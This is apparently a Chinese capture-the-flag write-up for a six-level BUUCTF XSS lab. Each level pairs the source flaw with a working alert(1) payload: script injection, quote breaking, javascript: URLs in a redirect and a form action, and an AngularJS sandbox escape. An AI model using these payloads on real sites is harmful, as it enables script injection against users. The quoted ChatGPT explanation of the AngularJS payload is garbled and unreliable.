buuctf [第二章 web进阶]XSS闯关
本题每一关都需要我们使用alert弹窗
level1
URL为
http://7db5b895-7c64-4b97-a85e-bc011762312f.node4.buuoj.cn:81/level1?username=xss
查看源码可知get传的username直接被输出
所以直接注入js代码即可
?username=<script>alert(1)</script>
level2
level2对输入的username使用escape进行了编码,如果直接注入js代码就没法执行了
观察前面的var username='xss';
,如果我们注入
?username=xss';alert(1);'xss
那么前面的代码中两个单引号就会被闭合,并执行以下代码,pass
var username='xss';
alert(1);
'xss';
level3
仍然使用level2注入的username=xss';alert(1);'xss
,但是没有pass。查看源代码,发现第一个单引号被转义了
那么给它再加一个单引号就行了
?username=xss'';alert(1);'xss
解释为
var username = 'xss\'';alert(1);'xss';
level4
查看源码,本题将获取到的jumpUrl的值作为目标地址,倒计时结束后使用location.href进行重定向。
使用伪协议,javascript:alert(1)将javascript后面的部分当成js代码,倒计时为0时,网页便会重定向到javascript:alert(1)执行alert(1)
?jumpUrl=javascript:alert(1)
level5
看源码,填写的表单名为autoForm。如果autosubmit的值非空,并且action的值非空,那么autoForm.action(表单提交的目标地址)就是action的值,否则目标地址是当前页。
所以只要让autosubmit的值非空,action的值为伪协议,即可将表单提交到javascript:alert(1),实现弹窗
?autosubmit=1&action=javascript:alert(1)
level6
尝试?username=<script>alert(1)</script>
不成功,查看源码,<
是将左尖括号进行了unicode编码
看到源码引入了一个js
该js为AngularJS框架,其思想是基于html编写模板
而该模板存在xss模板注入漏洞,当输入?username={{4*3}}
时会被计算
由此构造一个定式payload
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
chatGPT给出的解释为
具体来说,该代码将字符串 'a'.constructor.prototype.charAt=[].join; 赋值给了 $rootScope 对象的原型上的 charAt 方法。这样,在后续的代码执行中,如果有类似 'a'[index] 这样的表达式出现,就会被转化为 ['a'].join('')[index],从而执行任意代码。
接着,代码通过调用 $eval 方法来执行包含恶意代码的字符串 'x=1} } };alert(1)//'。其中,由于该字符串包含了一个未闭合的 JavaScript 函数,因此 $eval 方法在解析时会自动将字符串补足缺失的括号。最终,该字符串将被解析为如下的 JavaScript 代码:
x = 1; // 执行恶意代码
}
// 下述代码已经失效
// }
// ;
alert(1); // 输出弹窗